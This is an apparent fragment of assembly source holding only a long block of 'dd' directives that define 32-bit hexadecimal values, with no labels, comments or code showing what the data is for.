dd 0DE24C1h, 0D2C2A1D8h, 82B9C1F7h, 0ED59EE74h, 74E21220h
dd 40795800h, 0B4D70FFh, 7F731622h, 75FC2180h, 9E00FBA1h
dd 0F72D81C1h, 0FD7E6CCh, 0C9669368h, 14A43881h, 0AC7891ECh
dd 94D46380h, 448CAAC1h, 753AF9DFh, 685D00D4h, 0E985FCCCh
dd 0EF8E03BCh, 1864A79h, 0F7042803h, 0E68448DDh, 0EDF239h
dd 0AD7F5DC1h, 10A59B15h, 0EF857003h, 0A26E13E2h, 0E0544BFAh
dd 3FC829ACh, 80097846h, 10034F68h, 2026CA89h, 5200E3A6h
dd 56A1879Bh, 357903B8h, 0A03FDB42h, 8D9A8104h, 0C9011291h
dd 877805C0h, 564FF478h, 0D64C0DE0h, 3E8C018Eh, 1B9EF2DBh
dd 62E3F409h, 391E7C00h, 0BBE5D53Ch, 0C8B070h, 0FD8B1033h
dd 988C29BEh, 89B2FC00h, 5DB066DCh, 0E975006Dh, 0C0560CEEh
dd 4B073348h, 9D13DEC3h, 9C1B47E0h, 0BAD90063h, 97DA0D34h
dd 2803E3D7h, 0C269AE53h, 65C3EDCBh, 0EE07908Ch, 365E0016h
dd 0A7D9D268h, 51B04D7Bh, 170024FAh, 0D7B351FEh, 7D184D3h
dd 60C2F56Bh, 255C435Dh, 13203Eh, 26CC53D6h, 1E1423B8h
dd 92E85FABh, 45BA0203h, 0C8C03FD2h, 0E67C6D2Fh, 643671Fh
dd 0E0401E1Bh, 0E95B858Bh, 0D431108Ch, 16071F44h, 0AEF2DF68h
dd 450238A0h, 0E2750F9Bh, 4080837Fh, 67A78D4Fh, 9FFCEF00h
dd 532519F8h, 54C00CF9h, 0A8104713h, 780E3900h, 1114AE5h
dd 635C0042h, 144DDCE3h, 1F00D441h, 3BFB664Eh, 538EEFh
dd 31289472h, 10C422B1h, 0A013C98h, 0B9C5448Ch, 1F20F32Eh
dd 410E0085h, 0A94D0275h, 937D4B07h, 9DF86239h, 73C001CDh
dd 1096633Ah, 0B40A07CFh, 0F39B2D6Ah, 3EE03CA0h, 61F7C03h
dd 3BAD3B5h, 0A9010E8Fh, 41F3F0B3h, 8E9816E4h, 9B65000Ch
dd 9403AF71h, 11290F60h, 367FCC5h, 0A50917B0h, 4BE08E58h
dd 9610DE07h, 61001015h, 2BFFF155h, 712CB254h, 303A2D8Eh
dd 0FCB821ADh, 0B15F00F1h, 2354871Ah, 0CD0038D3h, 5606DFE9h
dd 9A36CCh, 9479B6CEh, 5DCDED0h, 40010F31h, 0F1C31530h
dd 108B0C27h, 0DB046AAEh, 130381C0h, 9D0980EAh, 0CE8F2A63h
dd 364B0004h, 73F1D72Dh, 0E100D26Ch, 0F32B98CAh, 67AFB58h
dd 2EEE0A06h, 0D0C4D8E4h, 4F309728h, 2B1051F1h, 0B7C8B484h
dd 0F1FFD287h, 41AE7990h, 0EDAF004Eh, 0BD140916h, 0B8A03425h
dd 60EEF8E5h, 152FB400h, 0ABE6625Dh, 95DD4CA8h, 83AEFE03h
dd 0A1D83828h, 0F501974Ch, 6AB090CFh, 0F860F292h, 641900B5h
dd 0D6DF6955h, 14039B79h, 59A02953h, 4260874Eh, 36648A9h
dd 0C8DFF4E2h, 6F822E4h, 93006F72h, 574EBBA5h, 420BDh
dd 0C288A727h, 0E66AE77Dh, 5E003277h, 989BCA5Bh, 0A20F57h
dd 0CD3FDD7Ah, 6F1EB74Bh, 407DF78h, 0FF984C37h, 46F2C200h
dd 25EB2CB1h, 0E5610097h, 8519E3B2h, 0F36DDA1Ch, 4021CF40h
dd 2DF11Fh, 281DBF04h, 6D700272h, 0C5C7E000h, 38DC1AC8h
dd 16A100FCh, 861B8033h, 38C12BEAh, 83854D17h, 0ACCF20h
dd 0E2FB8DDCh, 237256F7h, 0CE619907h, 8E3A1F43h, 27746830h
dd 0A42E0960h, 945081E3h, 663E8D00h, 0E02DB3FDh, 0F7101843h
dd 7EE599D5h, 2000F6E0h, 745A8503h, 5870B79Bh, 0D86096E9h
dd 8DE21040h, 0EFE04F0h, 3E4A13Fh, 30414CE7h, 90F4E01Bh
dd 0A8B40610h, 5852537Ah, 48002C7Fh, 8E4A3C8h, 6628EC9Ah
dd 0C21451DFh, 331DD900h, 0F5855DC9h, 0EA250043h, 0A315FBD5h
dd 80F0442Ch, 0A82A6530h, 2F1907h, 726DB356h, 3728DFA9h
dd 0E92C5B00h, 192088BBh, 0F1902A91h, 7F67789Ch, 2F4E008Fh
dd 78B14B21h, 2300CE06h, 70B8CB56h, 72C146Ch, 5108B29Ch
dd 4519D024h, 0C10032E8h, 0C58390B4h, 1C6763Ah, 8BB3F630h
dd 4052FA1Ch, 685C99D2h, 0EC7E5Ch, 0B3FF2A47h, 1226E97h
dd 84B6DFA2h, 0D099660Fh, 0B50049F6h, 0A4CCC711h, 3A9C06h
dd 55AC989h, 680DE3E7h, 0F5305900h, 71D11B95h, 510B006Dh
dd 20C9A773h, 2200BFACh, 5DFA612Bh, 367772h, 768C55D8h
dd 3914FF3Dh, 5101EAB8h, 0BC53BA59h, 28701136h, 0F93B00A0h
dd 0B68E9B4h, 0FC004375h, 0E39D7A0Eh, 0CD0A14Dh, 295814CAh
dd 0F220A871h, 0FA070021h
dd 3CB2B353h, 0F80534B8h, 0CD4B9E8h, 0E0C01484h, 4D739Ah
dd 0B2C0BB04h, 0A8012B25h, 67223F1Eh, 0DE07A868h, 27B1E50Eh
dd 601CC6h, 645FFCBFh, 196BDC83h, 3C0BB300h, 0D118B202h
dd 1A383009h, 0F8D6D3F0h, 0A06E2A02h, 0B7A210D4h, 83080204h
dd 366D8Dh, 0D470928Bh, 5D6E2B68h, 16B9F110h, 4A816580h
dd 0D42CB4F5h, 8C18BC49h, 0BD1BC139h, 0AD38478Ch, 1C18A0F7h
dd 0CF00747Ch, 0B3DD1334h, 626061CDh, 6D80D13Dh, 0EEF5500Dh
dd 6C7B3186h, 3483996Eh, 70917918h, 0A06E0D18h, 6389341Ch
dd 75C9498Dh, 509BD3FAh, 334E045h, 2968DC60h, 91C00410h
dd 190425F8h, 814B754Ah, 6AC99858h, 0A4D29609h, 0C5C141Ch
dd 33AB463h, 180CEA2Ah, 10F634E9h, 4CA18F18h, 0ED409488h
dd 3811DA24h, 157550h, 38B06C27h, 5B766F77h, 0A7503CECh
dd 2E0F0770h, 0F193A1Ch, 81D6062Ch, 421D008h, 3C45F0EBh
dd 0E010C4B5h, 0D0B08913h, 4000C788h, 7BCB61AEh, 0C2E79D5h
dd 8906BF17h, 9B03E141h, 8CD2A6E2h, 868B6Ah, 3B5D1F18h
dd 0B1CB6F3Dh, 0DC247492h, 0F2861891h, 1D49D689h, 771F39h
dd 0F81445FEh, 7012CCC1h, 9C12A9C0h, 3DA53000h, 783B350Bh
dd 94770050h, 53F5C47Dh, 0E1002B18h, 0E011969h, 0F6324C4Dh
dd 326009Dh, 147F468Fh, 601F3164h, 0D0803670h, 123B3971h
dd 46760110h, 7CE38273h, 3E80EC50h, 13D660C0h, 0C0CA660Bh
dd 4416F108h, 6103640Ch, 0CFDD5C62h, 8481889h, 3215083Bh
dd 44EBE600h, 0C77A6109h, 0F1540056h, 392321DCh, 4E01EE4Ah
dd 9D8E064Fh, 8080CCB8h, 604D8285h, 0D9D6E87Ah, 0FCD9B5A0h
dd 2A8406BCh, 0E97F7909h, 8BF3F23Bh, 603506Bh, 892947h
dd 404F5C4Eh, 567B0E2Ah, 0BB38D4A0h, 880CEAF2h, 28D0B497h
dd 3684E2ECh, 0C0682456h, 3237A907h, 0D9909B9Dh, 3E51661Bh
dd 58FAFCCh, 85633911h, 69664456h, 0FE088BE1h, 50FD00DCh
dd 5118E715h, 7700F4DBh, 0CC4E408Eh, 1823ABB3h, 58A30346h
dd 0D21FE351h, 6540C073h, 617A98EDh, 0A2C5005Bh, 0A6814AA7h
dd 0D103D0B8h, 6A9603EBh, 9BFE907Eh, 0DCE803FBh, 8AA6C541h
dd 8F5312C0h, 348CC000h, 5448B68Dh, 0B90803DCh, 4BA0279Ah
dd 0F653DC0h, 0E58FD401h, 0E60AC218h, 1DC53D0h, 0FCC77BE3h
dd 80E12A6Fh, 200F4E21h, 0C2D01Ch, 0BEA34BD3h, 3189373Ch
dd 534C561Fh, 0E3BCFB97h, 79809C3Fh, 60D20EC3h, 2B00A286h
dd 10E35B57h, 1B08D653h, 588C85BFh, 490CB398h, 0BD68CB06h
dd 0FD097C5h, 244873CCh, 8CDA839Dh, 0FC06A63h, 64674593h
dd 797057D8h, 33533Dh, 0E377568h, 0B20A91BDh, 1C2C01Dh
dd 0DD620620h, 0C8E85235h, 8A4A7905h, 90011155h, 0B6342565h
dd 56B843h, 7B92D3E9h, 0B086F811h, 77281660h, 59CE982h
dd 6EA7DA4h, 0D08C2883h, 0D3DD0801h, 3DC98CCDh, 2003B703h
dd 29DB253h, 983001BFh, 0CC29D516h, 88A6CB8Ch, 79500F14h
dd 0B0350CE0h, 0A01E2854h, 281CF288h, 44C8C69h, 85F80DC6h
dd 63C058D8h, 34F0CC8Ch, 0B000F891h, 0FB6A8DF9h, 0FA0B750Dh
dd 5B7100ABh, 53EB040Ch, 41DBD38Ah, 2188D8A8h, 6DB824C9h
dd 62ACA000h, 17992842h, 94A5D2Eh, 4A013CC0h, 0D62DD67h
dd 0D358A1E2h, 0F7D01A84h, 482052BFh, 0C398C905h, 5BF000C1h
dd 9E03102Eh, 428DAB1Ch, 9600219Dh, 0C48C07Ah, 0C4630041h
dd 6D62DC2Bh, 9F005A03h, 9BEA3A0Eh, 2A875896h, 2946BA9h
dd 0F7DAF093h, 0F8A00592h, 0C6335B39h, 68DF8C28h, 0E16F5014h
dd 40CB3AB0h, 4B9706C7h, 0A93F1B9Fh, 6D00B6F4h, 0AFECCB4Ah
dd 0EB92B8Dh, 0F173746Ah, 0B15B7060h, 533C2FA0h, 0F813B183h
dd 14200AFDh, 6511402Bh, 8C5B7301h, 769DE5FAh, 7FB90024h
dd 1BD47F22h, 70F2EB0Eh, 0B512680Fh, 9E8C1D42h, 19B7845h
dd 0E48A28E7h, 0A8694DCCh, 3C7CC841h, 258CA90Ch, 0ED10F2h
dd 4CFEF3F0h, 163D655Ch, 2CC86850h, 9F549600h, 0B7C10F5Ah
dd 0F0580E59h, 87C0608Ch, 0F208B48Ah, 0EB12961h, 9C400C0Dh
dd 24E1B0F0h, 5650F7h, 8E3E4AEAh, 1C6031FCh, 9D95EB8h
dd 0AAB0C98h, 0EE28F966h, 89D01084h, 0D3221148h, 0FAC5DE08h
dd 4586EA10h, 62251E0h, 0C21EE4B5h, 48B19629h, 49E8CE01h
dd 1B6AA01h, 0B8D3FBB4h, 0FC8177h, 33F5FF9h, 0EF8C6B42h
dd 0C43AEC00h, 85367CDh, 857D3FFAh, 54305007h, 0FF74A348h
dd 0D772DAA8h, 84B0F6F6h, 87705B0Fh, 3D6E6025h, 0FA5B792h
dd 86062A34h, 81C08200h, 5E0022B0h, 0F47899E1h, 0ADC267h
dd 11E8AC1Eh, 24C8CFF9h, 8ABBB10Fh, 898418Bh, 1081CCC9h
dd 3FE1105Ah, 7CCEF053h, 34C59B24h, 1A3E82BCh, 405ABC87h
dd 6E0CAFh, 5F6C64D9h, 0A5C483C7h, 0B364E03h, 0E830B1EEh
dd 0F7C01BFh, 0D6688BA3h, 3E33EA40h, 3500F251h, 412ACFB8h
dd 24ACA7EBh, 70A4F4h, 0A333B3C1h, 0C007BAFh, 3DABA571h
dd 2A256Eh, 4CD740F2h, 61E46678h, 94699900h, 0F52D3530h
dd 58D405CFh, 80D7AE41h, 76DB5DC4h, 18AC633Ch, 2DE889DCh
dd 20ED00D9h, 7E64E4BFh, 323C1C33h, 42E3009Fh, 3481D367h
dd 9C75001Fh, 417C6F01h, 0FA01B151h, 0ACCB12FBh, 8E04CD5h
dd 0F5BA0689h, 5A73B642h, 0C5297607h, 9F70B96Bh, 0F4C77FAh
dd 7A9D6CDAh, 8A04A9C0h, 0DC00E03Bh, 77B714DBh, 1D9B1CD6h
dd 74D6A64h, 50BDF637h, 57DE4EF2h, 3B612309h, 6A80F524h
dd 30B4652Ch, 0E4003873h, 29279794h, 9A80E7FEh, 0BB63000Ch
dd 0EC23432Eh, 54005BB3h, 205FE957h, 9660EACh, 3C3EE7A0h
dd 8ABED80h, 8D02532Dh, 0B957AA04h, 0FEB16072h, 298C00B8h
dd 0E225D0E3h, 18138796h, 680FEF9Ah, 0E0A2607Ah, 0E4F94A89h
dd 177F0095h, 0E5EEBC93h, 0AC07C2A3h, 83C6FADBh, 320C3140h
dd 0B67AEFh, 571FCD72h, 2A487825h, 8D46C100h, 9755F9Dh
dd 21E22828h, 8EF304ECh, 8B3C47B6h, 6DB40034h, 3FB11E3Ah
dd 7D340044h, 18D460E5h, 9D0065AFh, 0C4F50B1Fh, 3E83AAD2h
dd 2D009BFCh, 91FB2EDAh, 0AD00C794h, 0B9CF405Eh, 770F104h
dd 12B415BAh, 662D4131h, 0DCBA31BFh, 1700E2F5h, 56B9EC47h
dd 197F60A3h, 7AD568F6h, 137BE869h, 14AE4D05h, 25C0A54Ah
dd 9D4583h, 0EFE91235h, 24BCD01Bh, 0C56A8E00h, 4E010463h
dd 0E75B07D6h, 0C088B4EDh, 0FC45E967h, 34DD939h, 0E0499250h
dd 4B35B9F6h, 7AA71883h, 5CA07F56h, 0DC014087h, 0DA93E334h
dd 0FED0455Ah, 8EE100CAh, 3AEB2C03h, 0C70BF6A0h, 9443507h
dd 4118143h, 0F3DCE428h, 0E2F0BBh, 0B327E824h, 0B19518C9h
dd 3922D300h, 0FAAB1475h, 0BD9E1812h, 7D161262h, 0FC02C400h
dd 3DA9680Dh, 0CF651F09h, 990FC0E7h, 114F625Dh, 6D6BD900h
dd 0D88A2138h, 0DE5B021Ah, 54B99585h, 519D9481h, 85E8099h
dd 17920269h, 0D8CF0096h, 5888B630h, 78005CF9h, 0D04E659Eh
dd 79C507h, 3763D2E9h, 5E760FBBh, 5000CEFEh, 0EDF56499h
dd 7E142Ch, 1307F2FDh, 0DB17B344h, 0C4436702h, 60D45237h
dd 0AA778CFh, 0EE1FC566h, 0DA220BB0h, 0F34807F5h, 970B870Eh
dd 0EA9134A1h, 9BC22080h, 1CB0181Bh, 13846301h, 0FCEFBFF4h
dd 484EE4h, 99F8A327h, 0CC059AA6h, 3841EC30h, 0F6A88743h
dd 837F588Fh, 0B5E20E00h, 0A5C8AC81h, 0D9BEC300h, 0F96C9602h
dd 10C761CCh, 0C9E25229h, 60DFC3B1h, 38D3B5FBh, 0FEE87000h
dd 0EE13C6ECh, 0FE25739Ah
dd 80CF014Ah, 3F3705ADh, 0CD6230BBh, 0E1A52F07h, 0EE80BA56h
dd 383BDDD1h, 0F3C3B1h, 0F1A682B7h, 67EA2824h, 924A4B0Eh
dd 80108BA0h, 0AEDC0146h, 55D400E1h, 6B321153h, 280016A3h
dd 0ABF462DAh, 13C8CE4h, 0B35BAADFh, 0E3337D95h, 7AA1A7B8h
dd 1D00FAFAh, 84CCAD09h, 0BABF82h, 5B0788A3h, 6A9EE223h
dd 3D87EE00h, 0B202651h, 0ABD6C783h, 0D700DE2Ch, 3C9FB78Eh
dd 0F76043Bh, 20CD239Bh, 5D801895h, 0A6B53BF5h, 0A91AA80h
dd 7CB12D97h, 0C8BC48h, 0CD8670D3h, 7F61280h, 2A179114h
dd 0AAD7F1E1h, 1618E845h, 8CFE5900h, 5E42615h, 1F767117h
dd 1E4A2571h, 0B9E740EFh, 0FDC31CA3h, 106BBD03h, 0CF21886Dh
dd 0EE01A520h, 7FA61DFCh, 387BC3D4h, 589A8082h, 3C088C40h
dd 598B9307h, 9BF0C573h, 0BBDCB9h, 178AD420h, 0DA05FF3Dh
dd 0B009F7Dh, 40D2A5CCh, 0BDCB6Fh, 0E5918904h, 2B804259h
dd 29EFA400h, 0CC526C13h, 456B03C8h, 0EDE15074h, 0F9180F98h
dd 9690FB00h, 98873BA2h, 0B910C0F8h, 1F66A3AFh, 0B39EC300h
dd 0A27EBDE8h, 78BA07FFh, 6046F884h, 9261A768h, 874E7C00h
dd 0D9CF26Fh, 0A21B0080h, 346D1AF0h, 330070FCh, 7B01D306h
dd 1688B8DDh, 2F3E32h, 0D1097F49h, 0F4005092h, 0C304AF3Ah
dd 1DB4A41Ch, 445CA6h, 37F75FF5h, 549A98BEh, 0A018010Bh
dd 9D078070h, 8CEDAEh, 0F1881CDFh, 1AE45F60h, 54028EA0h
dd 9CC8F400h, 515E4163h, 0EC68006Eh, 0EAC28F7Dh, 0D207E169h
dd 0A48142C9h, 12D5DEA0h, 1E6C028Ch, 0E0E58682h, 3BF1E5C0h
dd 0F096573Bh, 3FF08900h, 0FDBDA7D7h, 657024F5h, 92F302A5h
dd 0F069802Dh, 244671C8h, 0D90499F0h, 41DE60DAh, 4101CC0h
dd 32C439F6h, 6F34BB80h, 98FA025h, 0FE71620Fh, 156C203Ah
dd 26F18B84h, 38ACA3CFh, 3983DD80h, 37EF4EE5h, 0F3FAB600h
dd 630F523Bh, 28690059h, 0B90A1953h, 0B00B106h, 727C1FFEh
dd 1FC2EEE5h, 8030A7A5h, 1EB23F6Eh, 0D7078539h, 0B3BE213Bh
dd 0C6EA6B22h, 0E17248h, 5C0E20D0h, 6BAFB3C3h, 223F300h
dd 9F018606h, 0E3C90EABh, 1EA0D3EAh, 0D5121E8h, 0AE4BA00h
dd 0DECE4718h, 0BF570043h, 0C660BC56h, 10076DD1h, 3C061F59h
dd 123D5C60h, 66D70095h, 0C4467211h, 23070242h, 0B455B13Ah
dd 0D24750A1h, 0F2CAEE20h, 4A9103D5h, 770ED934h, 5F75E2D0h
dd 0A84E4F24h, 91E004BCh, 6CC065B9h, 902A3450h, 4CCB0080h
dd 0B3C8C33Ah, 4202E43Fh, 0F6FE3BF2h, 71DCC897h, 30950058h
dd 0B3A219DBh, 54E8B0F0h, 1F0C9958h, 0AE8056DCh, 877E3FC8h
dd 0E532038Dh, 0E9F57A08h, 0AB9154B0h, 3F260F1Eh, 0CD880B40h
dd 1075F92h, 71E70204h, 0D0968EB8h, 3B00D486h, 237A466Ch
dd 0AEC1EBh, 0C24CA695h, 222DC8C6h, 480098E2h, 2B92E7F2h
dd 130CDEA0h, 38CB53Ch, 420F12B8h, 686ACC0h, 0A84FF900h
dd 601891DDh, 723090C0h, 489F7567h, 0A700F980h, 0B7FD7095h
dd 29006610h, 0D61CCF8Dh, 82D9E1h, 0D5037C48h, 64F73623h
dd 30DD7500h, 0E57F3FCAh, 0BB1B0005h, 60F9764Dh, 0BE009842h
dd 95ECC5D7h, 74AF08Ch, 0B5725D43h, 0EF2952C8h, 5B3268C8h
dd 8028033Ah, 279F67A3h, 3C79026Ch, 4CF08F61h, 0A812DAD5h
dd 8700FBFFh, 5204D95Dh, 7997901Ch, 0F842072Ah, 10C651AAh
dd 0F62E98C7h, 5DF26C98h, 0EC55AD2Ah, 0AC003D71h, 578AA72h
dd 4813D4h, 38BAECA7h, 278DB6CAh, 6BD2DA03h, 0A07BA163h
dd 5B3D59h, 61EA2E5Fh, 6EC14D9Ah, 2BBC300h, 0E98FDBF4h
dd 0C012013Fh, 0B29BFF13h, 0F040F288h, 0FA004765h, 11390AB6h
dd 7B2D8D43h, 0FFFC004Ch, 66F24B3Bh, 44902E17h, 24D33100h
dd 62BE9EBh, 0CF380F33h, 0C3409C2Fh, 0DB5EA73h, 0B44B8C1Eh
dd 5686EE43h, 0A480A526h, 12C253E6h, 0F7C38C8h, 85C0225Ch
dd 4E6DCA0Ah, 0A793F200h, 0C3E1ECD9h, 0BC48C43Eh, 0D3508Dh
dd 172B6A26h, 2666D11h, 797F28ADh, 0EC8046A8h, 0D76A1074h
dd 999B132Eh, 26858801h, 0AC997FDh, 0CFF120h, 0A2309FDDh
dd 0DE66253h, 0F0B19E18h, 719060h, 0C13C280Ah, 37D1E017h
dd 0F259563Ah, 0F6D50900h, 0DA1486CAh, 0DE0C002Fh, 85904930h
dd 0CE00A08Bh, 4C04BE33h, 0DFEE2Ch, 0A281AC19h, 0DED19332h
dd 2AE8848h, 69F0FDA8h, 65286033h, 1048048Dh, 9053D54Ah
dd 6FB208F0h, 84E85E00h, 0B524A003h, 449024Eh, 0D6D11AB8h
dd 94545C60h, 3B5C3100h, 6C2E01BBh, 13A4002Fh, 0C5807AB4h
dd 0BC00DCD8h, 0E5123C39h, 73E9367h, 6408F258h, 0C00235D0h
dd 0CA8548BCh, 4DFB1100h, 9A1C0EE8h, 0DD7E69h, 0BA758AA5h
dd 0F32C3DCh, 5DAA4902h, 0CA9F39C0h, 6B16C100h, 7A43F8h
dd 92530E01h, 51E15676h, 86BBB701h, 642DD022h, 0A4BF4880h
dd 0ADA63963h, 88695480h, 800ACD1h, 48BB7059h, 125626h
dd 0A8DA4EF9h, 0BED8C8A1h, 5400C098h, 0BB9EB35Ah, 9C2C6Ah
dd 874D4746h, 5CC7EE60h, 30D8D600h, 3736D482h, 4E730048h
dd 0E0C8B68h, 434BEE51h, 28AD5C0Ch, 12EC3Ch, 70C1A5FBh
dd 89F355BAh, 7B877400h, 9CED5A92h, 3B9600E3h, 13969DAh
dd 0A200F20Dh, 88044B93h, 276A0B3h, 0B9FF318Ah, 2040E3C0h
dd 0F8094471h, 80494DDFh, 34D5E4B0h, 0B827079Dh, 8129385Fh
dd 0EC741076h, 0A300CA08h, 9865C93Bh, 39FBE4D6h, 67023616h
dd 7C2C8EDEh, 8835F640h, 87A50900h, 0CF0B2752h, 0FD280279h
dd 965C2CC7h, 0CBB880E8h, 29B7AE00h, 108BBD59h, 87C10172h
dd 95B9137Ah, 25EDF89Bh, 0DAFCC750h, 570C4001h, 6A55AA9Eh
dd 5EF08C61h, 80A503C1h, 260395A3h, 88D3FE88h, 0D8BA1D00h
dd 0E094608Ch, 2585184Eh, 43D648CDh, 5162470Eh, 0E025E5Bh
dd 0C0DC1DDDh, 0A6F171h, 7504F2F9h, 4F7133B3h, 6338E97Bh
dd 27149284h, 0DF917800h, 0C075E890h, 0D672FD40h, 60029DB0h
dd 91C3703Ah, 8D204065h, 219EC96h, 399484CAh, 7B4272E3h
dd 0BFB1ABC0h, 0DBAD0B0Eh, 7DD0C4C3h, 41242C80h, 58420028h
dd 0A5FAEAB7h, 0E10751FEh, 57166BBDh, 2EF6CD70h, 0FB62008Dh
dd 0B45F4B3Ch, 35582A0Fh, 0D4231F84h, 888FF8DEh, 0F619A060h
dd 0DF472h, 0F6A32E0h, 0E892AAF1h, 0C010FC01h, 9ED5B5B8h
dd 8AF0C883h, 0ED8BE2Dh, 15076429h, 3C4A8CAh, 22447570h
dd 0BA9C00BCh, 0E678CB71h, 680018E0h, 12D7C86Ah, 77A226Ch
dd 0CF90F663h, 431EA077h, 1C39C1E9h, 0ACD48002h, 0A5C44C36h
dd 831A02BAh, 3308F927h, 766D55C0h, 2193Ah, 0CA4575F2h
dd 0F4C9AD26h, 1C35002Fh, 0EF80A029h, 0A6094C24h, 4BAEA165h
dd 0A306D3B8h, 553807F1h, 2EF46191h, 48809DCFh, 0B4A8F070h
dd 53661B00h, 4ADF448Ah, 681501E7h, 61657838h, 86B870C5h
dd 5BC11200h, 10AD5FDEh, 7570C256h, 0EC807F8Fh, 6EAFDFA0h
dd 0FB1A3324h, 89015C2Ch, 1465FFC1h, 5B7AEC50h, 0C9D4240Eh
dd 50A400D0h, 0DF5EFA45h, 0BD85CB07h, 414F242Fh, 8DACF46Dh
dd 0A51CBC40h, 4F68002Ah, 0BA760F33h, 980018EBh, 66B31347h
dd 9AE870BFh, 77A300B4h, 71C1ECAAh, 150098F5h, 33D874Fh
dd 3DD9D50Fh, 7E00CF3Ah, 58692984h, 0C4009EC7h, 62639DAEh
dd 2B74A9h, 34E3CBECh, 47A4B3A6h, 5118B700h, 0D0EE9221h
dd 463A07D3h, 70814F55h, 67875E8Bh, 1A3FF300h, 440BC814h
dd 99410072h, 550324EEh, 0D7E2F81h, 16A63500h, 3B175D53h
dd 127E8Ah, 198CFC1Ah
dd 506D7997h, 242A7E00h, 105FB373h, 7C3D0111h, 6B9FDC29h
dd 70BC20F7h, 12D4C48h, 0D17B6D33h, 0F5F8169Dh, 19130058h
dd 0AA1B9CDEh, 0D3D04F3h, 0C823805Ch, 0D8CCC655h, 40180039h
dd 32567211h, 0CE00CBDBh, 3D068208h, 34DF74h, 36691D01h
dd 9CD35DCCh, 0D955CE00h, 188C7344h, 0C3FF027Eh, 67BF1F4Eh
dd 1DD4ED40h, 46F9391Dh, 1089E980h, 9E7D34h, 3E7EBD6Bh
dd 0CA3DF8AFh, 78B97039h, 6F9C3Bh, 42DC658Dh, 3BCB8B0h
dd 15DF1133h, 6EBBF11Fh, 8CC57AD0h, 47148D00h, 48B41EBFh
dd 1FAD17C6h, 0D436E0E2h, 8E192A00h, 22B53011h, 0E5711EB0h
dd 0B7023D8Dh, 0D0E18468h, 0E30C8A80h, 640099A9h, 0D20D8C60h
dd 6D3A97h, 4C2A2CC8h, 8DF9EB16h, 7B7DCA00h, 3A3B76E0h
dd 510A0E0Ch, 524FD1D2h, 8944CD20h, 0EB00FEFFh, 9E2CBB2Ah
dd 1DFADC31h, 40D1DD08h, 0C26582CBh, 3B0046C5h, 76BDFFBAh
dd 8FB82Ah, 0F771C9D1h, 4F915BE6h, 0FFFEB200h, 0AEBC7841h
dd 6676ABh, 726EBDFBh, 6C1036F2h, 0BB03B6F6h, 0F4D943DDh
dd 0AB04EB87h, 7375A0B1h, 0E9973A59h, 0CC005EDCh, 93AACF33h
dd 6D00D6F1h, 245BD946h, 12811277h, 8A0E6Eh, 29426A28h
dd 0BB07FEDFh, 0E1673F85h, 1FFCA210h, 0F1AD0061h, 36BFCC66h
dd 0A8004243h, 514A742Bh, 0CF14B3h, 5BEC4CB8h, 0D3493A7Ch
dd 1E53103Ah, 0B741F5F7h, 561A7FCFh, 605E76E0h, 49521015h
dd 0B93D32F4h, 841474CCh, 0BB773Ah, 11D29661h, 0DB0ED88h
dd 0AC7E8E8Ah, 6F4DF011h, 0DED4CB00h, 0C9B75B72h, 10F40033h
dd 95F16EDAh, 0BB009AC7h, 0ACA9824Ah, 0AE692F9h, 0E9DD6557h
dd 4FA83F18h, 0BF40005Ch, 0F89AD1BBh, 43263CBAh, 93006377h
dd 9D6D519Ch, 65840191h, 0A3E38197h, 0DDAFC0CFh, 0FEBD2002h
dd 60412967h, 3BD4058Eh, 1B8944E3h, 5980AFC6h, 646EAEF1h
dd 0B183100h, 8D59E84h, 0E30200D0h, 0F686DC0Ah, 4E77C06Bh
dd 140B7801h, 59046E3Ch, 1C33E5ECh, 1CA4E64Ch, 0A8203AAh
dd 86005397h, 0B85B4DC9h, 54198Ah, 378B4E3Ah, 1D17DF62h
dd 0F900D378h, 94671A61h, 9C3072h, 0D0BA4BDBh, 0F4FB5C3Dh
dd 8011C738h, 0AF7F6382h, 557B03Ah, 0E6205121h, 948C1062h
dd 1DD0FF13h, 5CFC4355h, 10F8228Ch, 0FE3B1757h, 480BA14h
dd 0C0E345CEh, 0E865E7A0h, 0F0CF0366h, 0F5D060D9h, 9711C0B4h
dd 680C2840h, 60E96371h, 5D8F0361h, 9DD901CBh, 0D238C4F0h
dd 3DBEF901h, 67D3DF35h, 4265C040h, 28CC629Ah, 0EF222DF1h
dd 639F22BCh, 24E9AB22h, 0B20921F5h, 11843B11h, 79882B22h
dd 97882A69h, 622788A1h, 9EC08B88h, 5300E02Dh, 69125F3Ah
dd 18C163h, 357A40B6h, 0F6EB9329h, 0D003C91Dh, 0AF01A85Eh
dd 0D6C983Bh, 0D342ECh, 4271E87h, 0BD38D699h, 12F15904h
dd 6CC0ECE6h, 9C0814h, 0B9F8EB42h, 86FD6C66h, 5300A8F8h
dd 755F51CFh, 399BFAA0h, 3B87DA1Fh, 3EB8F629h, 8EEE1E00h
dd 861E07C0h, 0D5C067B6h, 59B197BDh, 60D703E8h, 0DA7E93E0h
dd 0F476BCA8h, 1E1D047Ch, 5003A5Eh, 2C6A0A5Fh, 9FF200AAh
dd 74CD67EAh, 201A3C2h, 0B7E9F8E6h, 0E56068A2h, 83E264h
dd 75DB5A4h, 2A75D213h, 5B29A00Ah, 5A03ECC5h, 7F1EDBh
dd 76F5D4C0h, 3A4566FEh, 951D097Ah, 564059DFh, 8A7394B4h
dd 706739B8h, 97779D00h, 49769AACh, 0D923700h, 38E2FF8Dh
dd 0DB4800EAh, 3C9D4DE8h, 7F00FB53h, 944CFAF8h, 1EACB6h
dd 0BB4ABFC9h, 0AE22BC73h, 49005F7Ah, 0E3556542h, 9DB1E5h
dd 722F36CDh, 0ABF4C0C1h, 953EBC1Dh, 9F813B00h, 2C87C3h
dd 842D2BCBh, 0E6E77241h, 0D4E14700h, 0B66CF3FBh, 344F00CDh
dd 83F5363Fh, 3904B382h, 0FAB45D1Fh, 0C8188C80h, 0A18B00A2h
dd 0CB7AA690h, 25067293h, 0F52391D9h, 0DCC20011h, 427B8A3Eh
dd 0C100246Ch, 0ACE37D47h, 1D864999h, 807C9Bh, 6F848981h
dd 526063B8h, 2786478h, 0C06200E8h, 0AC359288h, 1E7FA532h
dd 0CEB7B107h, 0C2C06896h, 0C6655BAh, 8CC49915h, 0AC002298h
dd 0E79C625Ch, 0F8FBECh, 0DC253D34h, 0B61CF7FDh, 4003B74h
dd 0A96D9F41h, 0F48FA0h, 99A5BA0Fh, 0A25C528Eh, 1A9BD600h
dd 24E2B380h, 768D00C9h, 2633FA84h, 0A40016A0h, 8B7FB018h
dd 987D4h, 95B20FBFh, 0AC9D8937h, 0C938FD00h, 967D76D0h
dd 6D4F1F02h, 0F34B8023h, 0BC844E56h, 0B36C2100h, 0E5F4F85Bh
